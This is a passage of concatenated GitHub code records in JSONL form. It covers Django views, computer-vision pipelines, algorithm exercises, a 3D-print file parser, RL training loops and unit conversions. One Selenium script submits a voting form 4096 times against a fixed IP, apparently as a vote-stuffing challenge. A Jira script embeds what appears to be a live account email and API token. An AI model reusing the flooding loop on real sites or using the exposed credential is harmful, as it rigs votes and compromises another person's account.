TypeError) as e:\n print(e)\n r = None\n except:\n print(\"Sonstige fehler!\")\n else:\n return r\n finally:\n print(str(index),\": \", str(r))\n\nprint(rez(lists, 0))\nprint(rez(lists, 3))\nprint(rez(lists, 2))\n","repo_name":"Taha-Albukhaiti/pythonProject","sub_path":"grundlagen/exceptionsHandling.py","file_name":"exceptionsHandling.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"16824059376","text":"from django.shortcuts import render, HttpResponse\nfrom rest_framework import status\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\n\nfrom main.models import Code, User\nfrom .serializers import UserSer\n\nimport json\n\n\n@api_view(['GET'])\ndef post_click(request):\n user = get_user(request)\n user.clicks = user.clicks + 1;\n user.save()\n\n clicks = Code.objects.all().first()\n clicks.clicks = clicks.clicks + 1;\n clicks.save()\n\n name = request.GET.get('name')\n if name is not None and name != '/' and user.name != name:\n user.name = name\n user.save()\n\n data = []\n data.append(user.clicks)\n\n if clicks.prize != 0:\n data.append(clicks.clicks % clicks.prize == 0)\n\n response = HttpResponse(json.dumps(data))\n response.set_cookie('user_id', user.id)\n\n return response\n\n\n@api_view(['GET'])\ndef get_code_data(request):\n clicks = Code.objects.all().first()\n return HttpResponse(clicks.clicks)\n\n@api_view(['GET'])\ndef get_user_data(request):\n user = get_user(request)\n response = HttpResponse(user.clicks)\n response.set_cookie('user_id', user.id)\n return response\n\n@api_view(['GET'])\ndef get_leaderboard(request):\n user = User.objects.all().order_by('-clicks')[:5]\n\n serializer = UserSer(user, many=True)\n return Response(serializer.data)\n return request.META['REMOTE_ADDR']\n\n\n\ndef get_user(request):\n pk = request.COOKIES.get('user_id')\n if (pk is None):\n user = User()\n user.save()\n else:\n try: \n user = User.objects.get(id=pk)\n except: \n user = User()\n user.save()\n return user","repo_name":"CHSCodeForChange/CodeClicker","sub_path":"api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"74090521642","text":"# -*- coding: utf-8 -*-\r\nfrom typing import Dict, List\r\n\r\nimport cv2\r\nimport numpy as np\r\nfrom yacs.config import CfgNode\r\n\r\nfrom siamfcpp.utils import convert_numpy_to_tensor\r\n\r\nfrom ...sampler.sampler_base import SamplerBase\r\nfrom ..datapipeline_base import (TRACK_DATAPIPELINES, VOS_DATAPIPELINES,\r\n DatapipelineBase)\r\n\r\n\r\n@TRACK_DATAPIPELINES.register\r\n@VOS_DATAPIPELINES.register\r\nclass RegularDatapipeline(DatapipelineBase):\r\n r\"\"\"\r\n Tracking datapipeline. Integrate sampler togethor with a list of processes\r\n\r\n Hyper-parameters\r\n ----------------\r\n \"\"\"\r\n default_hyper_params = dict()\r\n\r\n def __init__(\r\n self,\r\n sampler: SamplerBase,\r\n pipeline: List = [],\r\n ) -> None:\r\n super().__init__()\r\n self.sampler = sampler\r\n self.pipeline = pipeline\r\n\r\n def __getitem__(self, item) -> Dict:\r\n r\"\"\"\r\n An interface to load batch data\r\n \"\"\"\r\n sampled_data = self.sampler[item]\r\n\r\n for proc in self.pipeline:\r\n sampled_data = proc(sampled_data)\r\n sampled_data = convert_numpy_to_tensor(sampled_data)\r\n return sampled_data\r\n","repo_name":"HonglinChu/SiamTrackers","sub_path":"SiamFCpp/SiamFCpp-video_analyst/siamfcpp/data/datapipeline/datapipeline_impl/regular_datapipeline.py","file_name":"regular_datapipeline.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","stars":1133,"dataset":"github-code","pt":"19"} +{"seq_id":"33437684899","text":"\n\n\n\n#recursive\ndef factorial(n):\n if n == 1 :\n return 1\n return n * factorial(n-1)\n\n#loop\ndef factorial2(n):\n res = 1\n for i in range(1, n + 1):\n res = res * i\n return res\n\n\n\nif __name__ == \"__main__\":\n print(factorial2(5))\n print(factorial(5))","repo_name":"matvi/CodeChallanges","sub_path":"factorial.py","file_name":"factorial.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"28617223724","text":"def solution(weights):\n from collections import Counter\n \n answer = 0\n counter = Counter(weights)\n \n for k, v in counter.items():\n if v >= 2:\n answer += v * (v - 1) // 2\n weights = list(set(weights))\n for weight in weights:\n for check in (2/3, 2/4, 3/4):\n if weight * check in weights:\n answer += counter[weight] * counter[weight * check]\n \n \n return answer","repo_name":"98-jeonghoon/Algorithm","sub_path":"Programmers/시소 짝꿍.py","file_name":"시소 짝꿍.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"73612542442","text":"import heapq,sys\r\ninput=sys.stdin.readline\r\nn=int(input())\r\nedges=[]\r\ngraph=[list(map(int,input().split())) for _ in range(n)]\r\nfor i in range(n):\r\n for j in range(i+1,n):\r\n edges.append([graph[i][j],[i,j]])\r\n\r\nheapq.heapify(edges)\r\nparent = [x for x in range(n + 1)]\r\nrank = [0] * (n + 1)\r\n\r\ndef find_root(x):\r\n if parent[x] == x:\r\n return x\r\n parent[x] = find_root(parent[x])\r\n return parent[x]\r\n\r\ndef union_root(x, y):\r\n x = find_root(x)\r\n y = find_root(y)\r\n if x == y: return\r\n\r\n if rank[x] < rank[y]:\r\n parent[x] = y\r\n else:\r\n parent[y] = x\r\n if rank[x] == rank[y]:\r\n rank[x] += 1\r\n\r\ndef kruskal():\r\n mst = []\r\n for _ in range(len(edges)):\r\n edge = heapq.heappop(edges)\r\n first, second = edge[1]\r\n if find_root(first) == find_root(second):\r\n continue\r\n mst.append(edge)\r\n union_root(first, second)\r\n\r\n if len(mst) == n - 1:\r\n return mst\r\n\r\nresult_mst = kruskal()\r\ndis = 0\r\nfor i in range(n - 1):\r\n dis += result_mst[i][0]\r\nprint(dis)","repo_name":"ChaRob/ProblemSolve","sub_path":"백준/Gold/16398. 행성 연결/행성 연결.py","file_name":"행성 연결.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"27797405971","text":"import tkinter\r\nimport tkinter.ttk as tv\r\nwindow=tkinter.Tk()\r\nwi=window.winfo_screenwidth()\r\nhe=window.winfo_screenheight()\r\nwindow.configure(width=wi,height=he,bg=\"blue\")\r\n\r\n\r\nimport mysql.connector\r\ncon=mysql.connector.connect(host=\"localhost\",user=\"root\",password=\"12345\",database=\"ds\")\r\ncur=con.cursor()\r\ncur.execute(\"select * from score1\")\r\nalldata=cur.fetchall()\r\n\r\n \r\ntreeview=tv.Treeview(window)\r\n\r\n\r\n\r\n#treeview['column']=('Roll number','Student Name','Mark')\r\ntreeview['column']=cur.column_names\r\n\r\ntreeview.column('#0',width=0,stretch=\"No\")\r\n\r\nfor cn in cur.column_names:\r\n treeview.column(cn,width=100)\r\n treeview.heading(cn,text=cn)\r\n \r\n#treeview.column('Roll number',width=100)\r\n#treeview.column('Student Name',width=100)\r\n#treeview.column('Mark',width=100)\r\n\r\n#treeview.heading('Roll number',text=\"Register Number\")\r\n#treeview.heading('Student Name',text=\"Student Name\")\r\n#treeview.heading('Mark',text=\"Mark\")\r\nk=1\r\nfor data in alldata:\r\n k+=1\r\n treeview.insert(parent=\"\",index=k,values=data)\r\n#treeview.insert(parent=\"\",index=0,values=('1001','gowthaman','99'))\r\n#treeview.insert(parent=\"\",index=1,values=('1001','gowthaman','99'))\r\ntreeview.place(x=100,y=100)\r\n\r\nwindow.mainloop()\r\n","repo_name":"gowthamanniit/python","sub_path":"treeviewdemo1.py","file_name":"treeviewdemo1.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"25806031079","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\nfrom selenium import webdriver\n\n\nid = '2714'\ntimes = 4096\ntimes_success = 0\n\ndriver = webdriver.Firefox()\ndriver.get('http://158.69.76.135/level1.php')\n\n\nfor i in range(times):\n driver.find_element_by_name('id').send_keys(id)\n driver.find_element_by_name('holdthedoor').click()\n times_success += 1\n print('success: {}'.format(times_success))\n","repo_name":"ManuBedoya/hodor","sub_path":"level_1.py","file_name":"level_1.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"32911469712","text":"# Ultimaker Cura uses ufp file format for their printers.\n# Very similar to 3mf, except it packs the actual gcode inside the archive.\n# They also use 3mf, fucking hell.\n# See /3D/model.gcode in reference files.\n# Also has easier to parse gcode data _for some reason_. idk.\n\n# See ZipFile\n\nfrom zipfile import ZipFile\nimport base64\nimport pprint\n\n\ndef getGCode(file):\n # Here we take in the files[f] object because it's BytesIO in memory like the other stuff.\n q = ZipFile(file)\n gco = q.read(\"/3D/model.gcode\").decode(\"utf-8\")\n\n gco = gco.split(\"\\n\")\n\n return gco\n\n\ndef getUFPProperties(file):\n GCodeData = getGCodeMetadata(file)\n materialsData = getMaterials(file)\n\n output = {}\n\n for k in GCodeData.keys():\n output[k] = GCodeData[k]\n\n for k in materialsData.keys():\n output[k] = materialsData[k]\n\n # This only works IIF the subsidiary functions work. Normalize output between UFP and Prusa GCode?\n output[\"materialUsedGrams\"] = (output[\"volumeUsed\"] / 10 ** 3) * output[\"density\"]\n\n return output\n\n\ndef getGCodeMetadata(file):\n lines = getGCode(file)\n\n lines = [x for x in lines if x.startswith(\";\")]\n\n outputMeta = {}\n\n for l in lines:\n if \"EXTRUDER_TRAIN.0.MATERIAL.VOLUME_USED\" in l:\n outputMeta[\"volumeUsed\"] = int(\n l.split(\":\")[-1]\n ) # this is measured in g/cm^3 as opposed to mm^3. Conversion factor is 10E3.\n\n if \"PRINT.TIME\" in l:\n outputMeta[\"printTimeSeconds\"] = int(l.split(\":\")[-1])\n\n return outputMeta\n\n\ndef getMaterials(file):\n\n q = ZipFile(file)\n filelist = q.namelist()\n\n # This filters us down to just files in the Materials directory luckily.\n # Should only be a few.\n filelist = [x for x in filelist if x.startswith(\"/Materials/\")]\n\n # loads each material.\n filelist = [q.read(x).decode(\"utf-8\") for x in filelist]\n\n # print(filelist)\n import xml.etree.ElementTree as ET\n\n # print(filelist)\n\n materialProp = {}\n # We have to do this cursed shit because they use an XML variant that's BROKEN SOMEHOW!?\n for f in filelist:\n currentXML = ET.fromstring(f)\n # print(\"/here\")\n for topLevel in currentXML.getchildren():\n if \"metadata\" in topLevel.tag:\n for midLevel in topLevel.getchildren():\n if \"name\" in midLevel.tag:\n for finalLevel in midLevel.getchildren():\n if \"material\" in finalLevel.tag.split(\"}\")[-1]:\n materialProp[\"material\"] = finalLevel.text\n\n if \"properties\" in topLevel.tag:\n for midLevel in topLevel.getchildren():\n if \"density\" in midLevel.tag.split(\"}\")[-1]:\n materialProp[\"density\"] = float(midLevel.text)\n if \"diameter\" in midLevel.tag.split(\"}\")[-1]:\n materialProp[\"diameter\"] = float(midLevel.text)\n\n return materialProp\n\n\ndef extractThumbnails(file):\n q = ZipFile(file)\n thumb = q.read(\"/Metadata/thumbnail.png\")\n b64 = [base64.b64encode(thumb).decode(\"utf-8\")]\n return b64\n\n\n# /3D/model.gcode\n# ;PRINT.TIME:3795\n# ;EXTRUDER_TRAIN.0.MATERIAL.VOLUME_USED:3999 (volume in cubic mm: https://github.com/Ultimaker/CuraEngine/issues/482)\n\n# /Materials/*.fdm_material (xml)\n# -> -> -> \n# fucking hell.\n","repo_name":"RUMakerspace/queue-manager","sub_path":"parsers/manufacturer/ufp.py","file_name":"ufp.py","file_ext":"py","file_size_in_byte":3423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"73539856363","text":"\nimport os\nimport sys\nbase_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"../..\")\nsys.path.append(base_dir)\n\nimport numpy as np\nfrom tqdm import tqdm\nimport time\nimport psutil\nfrom src.utils.save_results import save_result\n\nEPS = 1e-8\n\nclass NestedExponentialWeights:\n\n def __init__(self, settings):\n \"\"\"\n :param number_of_actions: number of actions from which the slates will be formed, K.\n :param slate_size: slate size, s.\n :param max_rounds: the number of rounds for which the algorithm will run.\n \"\"\"\n\n self.rng = np.random.RandomState(settings['rd'])\n self.max_round = settings['max_rounds']\n self.settings = settings\n\n def set_environment(self, environment):\n \"\"\"\n :param environment: this should be a function that can take a vector of size K\n (indicator vector of the chosen slate), and the current round, t as parameters and return the loss/reward\n associated with that slate and that slate only. The indicator vector will have non-zero elements which represent\n the chosen actions in that slate and zero elements which represent actions that are not chosen. The reward/loss\n for actions that are not chosen must be 0, and for the chosen actions the reward/loss should be in [-1,1] or else\n it will be clipped. Hence the output vector must also be a vector of size K with elements clipped to be in [-1,1].\n \"\"\"\n self.environment = environment\n\n def vector_proba(self, y):\n \"\"\"\n\n Parameters\n ----------\n y\n\n Returns\n -------\n\n \"\"\"\n stable_exp_y = np.exp(y - np.max(y))\n proba_vector = stable_exp_y/np.sum(stable_exp_y)\n return proba_vector\n\n def sample_node_path(self, round):\n node_path = []\n proba_path = []\n reward_path = []\n node = self.environment.tree.root\n\n while bool(node.children):\n lr = 1 / np.sqrt(round+1)\n proba = self.vector_proba(node.scores_children*lr)\n idx_list = range(node.nb_children)\n idx_node = self.rng.choice(idx_list, p=proba)\n child_node = node.children[idx_node]\n node_path.append(idx_node)\n reward_child = self.environment.get_reward_by_node(child_node)\n reward_path.append(reward_child)\n proba_path.append(proba[idx_node])\n node = child_node\n\n return node_path, proba_path, reward_path\n\n\n def update_score(self, nodes_path, proba_path, reward_path):\n\n node = self.environment.tree.root\n level = 0\n\n proba = 1\n\n for idx_node, P, reward in zip(nodes_path, proba_path, reward_path):\n\n # Get joint proba up to level l\n proba *= P\n node.scores_children[idx_node] = node.scores_children[idx_node] + reward / (proba + EPS)\n\n node = node.children[idx_node]\n level += 1\n\n def iterate_learning(self):\n \"\"\"\n run the agent for \"max_rounds\" rounds\n \"\"\"\n metrics = {\n 'reward': [],\n 'regret': [],\n 'round': []\n }\n regrets = []\n rewards = []\n\n for round in tqdm(range(0, self.max_round)):\n\n # Choose action and receive reward iteratively\n node_path, proba_path, reward_path = self.sample_node_path(round)\n\n # Reward from environment\n reward = np.sum(reward_path)\n best_strategy_reward = self.environment.get_best_strategy_reward()\n regrets.append(best_strategy_reward - reward)\n rewards.append(reward)\n\n # Update scores\n self.update_score(node_path, proba_path, reward_path)\n\n if round % 100 == 0:\n metrics['reward'].append(np.mean(rewards))\n regret = np.sum(regrets)\n metrics['regret'].append(regret)\n metrics['round'].append(round)\n save_result(self.settings, regret, np.mean(rewards), round)\n\n # Visualization\n self.score_vector = None\n\n return metrics","repo_name":"criteo-research/Nested-Exponential-Weights","sub_path":"src/algorithms/new.py","file_name":"new.py","file_ext":"py","file_size_in_byte":4135,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"41300442008","text":"#!/usr/bin/env python3\r\n\r\nimport sys\r\nimport time\r\nimport numpy as np\r\nsys.path.append('../../') # path to vracer\r\n\r\n# Init argparser\r\nimport argparse\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument('--maxgen', type=int, default=1000)\r\nparser.add_argument('--maxreward', type=float, default=1e6)\r\nparser.add_argument('--maxexp', type=float, default=10e6)\r\nargs = parser.parse_args()\r\n\r\n# Init cartpole\r\nfrom cartpole import *\r\ncart = CartPole()\r\n\r\n# Dimension of state and action space\r\nstateDim = cart.stateSpace\r\nactionDim = cart.actionSpace\r\n\r\n# Initialize Vracer\r\nfrom vracer import *\r\nagent = Vracer(stateDim, actionDim, maxEpisodes=args.maxgen, learningRate=0.001, miniBatchSize=32, experienceReplaySize=4096, hiddenLayers=[32,32])\r\n\r\n# Training loop\r\nwhile(agent.isTraining() == True):\r\n \r\n # Reset env\r\n cart.reset()\r\n \r\n # Initialize episode\r\n steps = 0\r\n cumulativeReward = 0\r\n done = False\r\n \r\n # Receive initial state from Environment\r\n state = cart.getState()\r\n\r\n agent.sendInitialState(state)\r\n \r\n while (not done and steps < 500):\r\n \r\n # Evaluate policy on current state\r\n action = agent.getAction(state)\r\n \r\n # Execute action and observe reward & next state from Environment\r\n done = cart.advance(action)\r\n reward = cart.getReward()\r\n state = cart.getState()\r\n \r\n # Update agent\r\n agent.sendStateAndReward(state, reward)\r\n \r\n steps += 1\r\n cumulativeReward += reward\r\n \r\n # Traing agent\r\n agent.train()\r\n\r\n agent.print()\r\n\r\n if cumulativeReward >= args.maxreward:\r\n print(\"********************* Solved ********************\")\r\n break\r\n\r\nt = time.time()\r\noutfile = '_rewards_vracer_{}.npy'.format(int(t))\r\nnp.save(outfile, np.array(agent.returnHistory))\r\n","repo_name":"wadaniel/simple-rl","sub_path":"examples/cartpole/environment_vracer.py","file_name":"environment_vracer.py","file_ext":"py","file_size_in_byte":1887,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"19"} +{"seq_id":"2604162385","text":"#\n# -*- coding: utf-8 -*-\n#\n\nimport os\nimport hashlib\nimport uuid\nimport traceback\nimport datetime\nimport user_agents\nimport logging\nimport mimetypes\n\nfrom datetime import tzinfo, timedelta, datetime\n\nfrom twisted.internet.defer import inlineCallbacks, returnValue, Deferred\nfrom twisted.internet import task\nfrom twisted.internet import reactor\n\nfrom django.conf import settings\n\nfrom django.utils import translation\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.utils.translation import ugettext\nfrom django.utils.translation import ugettext_noop\nfrom django.utils.translation import get_language\n\nfrom django.contrib.staticfiles import finders\n\nfrom dtx.utils.snippets.sorted_collection import SortedCollection\nfrom dtx.memcache import client as dtx_memcache\n\nfrom dtx.core import logger\nlog = logger.log(__name__)\n\nstatic_files_by_path = SortedCollection(key=lambda x: x.path)\n\nclass StaticFileInfo:\n def __init__(self, path, body_digest, mime_type, mime_charset):\n self.path = path\n self.path_digest = hashlib.md5(path).hexdigest()\n self.body_digest = body_digest\n self.mime_type = mime_type\n self.mime_charset = mime_charset\n self.mtime = os.stat(path).st_mtime\n\n @classmethod\n def create(cls, path, body_digest, mime_type, mime_charset):\n global static_files_by_path\n info = cls(path, body_digest, mime_type, mime_charset)\n static_files_by_path.insert(info)\n return info\n \n @classmethod\n def find_by_name(cls, file_name):\n global static_files_by_path\n try:\n file_info = static_files_by_path.find(file_name)\n try:\n if (int(os.stat(file_name).st_mtime / 100) > int(file_info.mtime / 100)):\n log.msg(u'File {} has been modified'.format(file_name), logLevel=logging.WARNING)\n static_files_by_path.remove(file_info)\n return None\n return file_info\n except:\n log.msg(traceback.format_exc(), logLevel=logging.ERROR)\n static_files_by_path.remove(file_info)\n return None\n except ValueError:\n return None\n \n@inlineCallbacks\ndef serve(request, path, file, headers=[]):\n with log.enter() as tm:\n if settings.DEBUG:\n file_name = finders.find(file)\n else:\n file_name = os.path.join(path, file)\n file_info = None\n try:\n file_info = StaticFileInfo.find_by_name(file_name)\n except ValueError:\n pass\n if (not file_info) or (not request.setETag(file_info.body_digest)):\n path_digest = hashlib.md5(file_name).hexdigest()\n tm.msg(u'Checking MemCache...')\n flags, data = yield dtx_memcache.get(path_digest)\n if (not data):\n tm.msg(u'Loading {}...'.format(file_name))\n try:\n with open(file_name, 'rb') as fd: \n data = fd.read()\n try:\n tm.msg(u'Saving to MemCache...')\n stored = yield dtx_memcache.set(path_digest, data)\n except:\n log.msg(traceback.format_exc(), logLevel=logging.ERROR)\n pass\n except:\n log.msg(traceback.format_exc(), logLevel=logging.ERROR)\n data = None\n if (data):\n if (not file_info):\n tp, cs = mimetypes.guess_type(file_name)\n if (not tp):\n tp = 'application/octet-stream'\n body_digest = hashlib.md5(data).hexdigest()\n tm.msg(u'Digest: {}'.format(body_digest))\n file_info = StaticFileInfo.create(file_name, body_digest, tp, cs)\n if (file_info.mime_charset):\n ct = '{}; charset={}'.format(file_info.mime_type, file_info.mime_charset)\n tm.msg(u'Content-Type: {}'.format(ct))\n request.setHeader(\"Content-Type\", ct)\n else:\n ct = file_info.mime_type\n tm.msg(u'Content-Type: {}'.format(ct))\n request.setHeader(\"Content-Type\", ct) \n for h, v in headers:\n tm.msg(u'{}: {}'.format(h, v))\n request.setHeader(h, v)\n returnValue(data)\n yield\n","repo_name":"TigerND/dtx-core","sub_path":"src/web/server/views/static.py","file_name":"static.py","file_ext":"py","file_size_in_byte":4544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"2180525210","text":"import matplotlib.pyplot as plt\nimport argparse\nimport numpy as np\nimport matplotlib.image as mpimg\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('-m','--maximum_file',help = \"path to txt file containing maximums\")\n parser.add_argument('-i','--input_path',help = \"path to txt file containing maximums\")\n args = parser.parse_args()\n\n x = np.loadtxt(args.maximum_file)\n\n plt.imshow(mpimg.imread(args.input_path),cmap = 'gray')\n if x.shape[0] == 8:\n plt.plot( x[0::2],x[1::2],'rx')\n else:\n for rect in x:\n plt.plot( rect[0::2],rect[1::2],'rx')\n plt.axis('off')\n plt.show()\n","repo_name":"luczeng/HoughRectangle","sub_path":"utils/visualise_rectangles.py","file_name":"visualise_rectangles.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":96,"dataset":"github-code","pt":"19"} +{"seq_id":"8475205820","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n# ファイルパス\nfile_path = \"connectivity.dat\"\n\n# データの読み込み\nwith open(file_path, \"r\") as f:\n data = f.readlines()\n\n# データの整形\npoints = []\nconnections = []\nfor line in data:\n line_data = line.strip().split()\n if line_data[0] == \"point\":\n points.append((float(line_data[1]), float(line_data[2])))\n elif line_data[0] == \"connection\":\n connections.append((int(line_data[1]), int(line_data[2])))\n\n# 接続情報から線の座標を取得\nx_list = []\ny_list = []\nfor connection in connections:\n x1, y1 = points[connection[0]]\n x2, y2 = points[connection[1]]\n x_list.append(x1)\n x_list.append(x2)\n x_list.append(None) # 線を区切るためにNoneを追加\n y_list.append(y1)\n y_list.append(y2)\n y_list.append(None) # 線を区切るためにNoneを追加\n\n# datファイルの読み込み\ndata = np.loadtxt('p.dat')\n\n# x座標、y座標、スカラー値に分割\nx = data[:, 0]\ny = data[:, 1]\nz = data[:, 2]\n\n# カラーマップの選択(例:jet)\ncmap = plt.get_cmap('jet')\n\n# スカラー値の最大値と最小値を取得\nzmin = np.min(z)\nzmax = np.max(z)\n\n# カラーマップに対応する色を計算\ncolors = cmap((z - zmin) / (zmax - zmin))\n\n# 2D散布図のプロット\nplt.scatter(x, y, c=colors)\n#plt.plot(x_list, y_list, lw=2, color='black',marker='o', markersize=4, markerfacecolor='red')\nplt.plot(x_list, y_list, color='black', marker='o', markersize=4, markerfacecolor='red')\n# 軸ラベルの設定\nplt.xlabel('X Label')\nplt.ylabel('Y Label')\n\n# カラーバーの表示\nplt.colorbar()\n\nplt.savefig('test.png')","repo_name":"syusaku625/nurbs_study","sub_path":"IGA_Poasson_2D/12_control_point_example/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":1666,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"21294637534","text":"# Create Jira users from a CSV file using the REST API. \nimport requests\nimport sys\nfrom requests.auth import HTTPBasicAuth\nimport json\n\nurl = \"https://palbuquerque.atlassian.net/rest/api/3/user\"\n\nauth = HTTPBasicAuth(\"palbuquerque@atlassian.com\", \"ATATT3xFfGF0FLxYt4pgiI0CbDD7hvEUF-97-Bke-77B4_MIvzGDE5HupphMdM-UcesrCFnnJXsB7BFd0gfcpjxCRc5Frc7pej8C2A6WtMQ6Lh4SdzyAiYh1M8oqDZgdGmlkswCXqkEPKIynMPsNBZFNjg_ceHQTD5J05Stlpu3PwwJ2F2Q5Im8=9FAC86E9\")\n\nwith open(sys.argv[1], 'r') as f:\n csvfile = f.readlines()\n \nfor line in csvfile:\n user_mail_address = line.strip().split(\",\")[1]\n \n headers = {\n \"Accept\": \"application/json\",\n \"Content-Type\": \"application/json\"\n }\n payload = json.dumps( {\n \"emailAddress\": f\"{user_mail_address}\"\n } )\n response = requests.request(\n \"POST\",\n url,\n data=payload,\n headers=headers,\n auth=auth\n)\n\nprint(json.dumps(json.loads(response.text), sort_keys=True, indent=4, separators=(\",\", \": \")))\n\n\n","repo_name":"Pablocst/Jira","sub_path":"create_users.py","file_name":"create_users.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"17452650342","text":"from aiogram.types import InlineKeyboardMarkup,InlineKeyboardButton, KeyboardButton,ReplyKeyboardMarkup\nfrom aiogram.utils.callback_data import CallbackData\ncal = CallbackData('by','kurs','nomer','vaqt','id','qabul')\nasync def inlin_k(kurs,nomer,vaqt,id):\n tuga = InlineKeyboardMarkup(row_width=2)\n tugma_k1 = InlineKeyboardButton(text='QABUL QILISH',callback_data=f'by:{kurs}:{nomer}:{vaqt}:{id}:qb')\n tugma_k2 = InlineKeyboardButton(text='RAD ETISH',callback_data=f'by:{kurs}:{nomer}:{vaqt}:{id}:rd')\n tuga.insert(tugma_k1)\n tuga.insert(tugma_k2)\n return tuga\nasync def admin():\n tugma = ReplyKeyboardMarkup(row_width=2, resize_keyboard=True)\n tugma_k = KeyboardButton(text='Elon yuborish')\n tugma.add(tugma_k)\n return tugma","repo_name":"aliyuldashev/aiogram-bot_study-center","sub_path":"second_bot/keyboard.py","file_name":"keyboard.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"32724888789","text":"\"\"\"Set of constants and conversions for use by neutron tools \"\"\"\r\n\r\n\r\ndef get_e():\r\n \"\"\"charge on electron in coulombs\"\"\"\r\n return 1.60217662e-19\r\n\r\n\r\ndef get_p_mass():\r\n \"\"\"mass of proton in g\"\"\"\r\n return 1.672623e-24\r\n\r\n\r\ndef get_n_mass():\r\n \"\"\"mass of neutron in g\"\"\"\r\n return 1.674929e-24\r\n\r\n\r\ndef get_e_mass():\r\n \"\"\" mass of electron in g\"\"\"\r\n return 9.10938e-28\r\n\r\n\r\ndef rem_to_Sv(val):\r\n \"\"\"convert Rem to Sv \"\"\"\r\n return val/100.0\r\n\r\n\r\ndef sv_to_rem(val):\r\n \"\"\" convert Sv to Rem \"\"\"\r\n return val * 100.0\r\n\r\n\r\ndef years_to_seconds(val):\r\n \"\"\" convert years to seconds\"\"\"\r\n return val * 365 * 24 * 60 * 60\r\n\r\n\r\ndef years_to_hrs(val):\r\n \"\"\" convert years to hours\"\"\"\r\n return val * 365 * 24\r\n\r\n\r\ndef years_to_days(val):\r\n \"\"\" convert years to days \"\"\"\r\n return val * 365\r\n\r\n\r\ndef bq_to_curie(val):\r\n \"\"\"converts bq to curies \"\"\"\r\n return val * 2.703e11\r\n\r\n\r\ndef curie_to_bq(val):\r\n \"\"\" convert val to bq \"\"\"\r\n return val * 3.7e-12\r\n\r\n\r\ndef eV_to_joule(val):\r\n \"\"\" convert electron volts to joules \"\"\"\r\n return val * 1.602e-19\r\n\r\n\r\ndef eV_to_wavelength_photon(val):\r\n \"\"\" converts eV to wavelength in m \"\"\"\r\n return 1.24e-6 / val\r\n\r\n\r\ndef wavelength_to_meV_neutron(val):\r\n \"\"\"convert neutron wavelength in A to energy in meV \"\"\"\r\n return 81.81 / (val * val)\r\n\r\n\r\ndef joule_to_ev(val):\r\n \"\"\" converts energy in joules to electron volts \"\"\"\r\n return val / (1.602e-19)\r\n\r\n\r\ndef second_to_hour(val):\r\n \"\"\" converts time in seconds to hours \"\"\"\r\n return val / 3600\r\n\r\n\r\ndef second_to_day(val):\r\n \"\"\" converts time in seconds to days \"\"\"\r\n return val / 86400\r\n\r\n\r\ndef second_to_year(val):\r\n \"\"\" converts time in seconds to years \"\"\"\r\n return val / 3.1536e07\r\n\r\n\r\ndef hour_to_second(val):\r\n \"\"\" converts time in hours to seconds \"\"\"\r\n return val * 3600\r\n\r\n\r\ndef day_to_second(val):\r\n \"\"\" converts time in days to seconds \"\"\"\r\n return val * 86400\r\n\r\n\r\ndef Z_dict():\r\n zdict = {\r\n \"H\": 1,\r\n \"He\": 2,\r\n \"Li\": 3,\r\n \"Be\": 4,\r\n \"B\": 5,\r\n \"C\": 6,\r\n \"N\": 7,\r\n \"O\": 8,\r\n \"F\": 9,\r\n \"Ne\": 10,\r\n \"Na\": 11,\r\n \"Mg\": 12,\r\n \"Al\": 13,\r\n \"Si\": 14,\r\n \"P\": 15,\r\n \"S\": 16,\r\n \"Cl\": 17,\r\n \"Ar\": 18,\r\n \"K\": 19,\r\n \"Ca\": 20,\r\n \"Sc\": 21,\r\n \"Ti\": 22,\r\n \"V\": 23,\r\n \"Cr\": 24,\r\n \"Mn\": 25,\r\n \"Fe\": 26,\r\n \"Co\": 27,\r\n \"Ni\": 28,\r\n \"Cu\": 29,\r\n \"Zn\": 30,\r\n \"Ga\": 31,\r\n \"Ge\": 32,\r\n \"As\": 33,\r\n \"Se\": 34,\r\n \"Br\": 35,\r\n \"Kr\": 36,\r\n \"Rb\": 37,\r\n \"Sr\": 38,\r\n \"Y\": 39,\r\n \"Zr\": 40,\r\n \"Nb\": 41,\r\n \"Mo\": 42,\r\n \"Tc\": 43,\r\n \"Ru\": 44,\r\n \"Rh\": 45,\r\n \"Pd\": 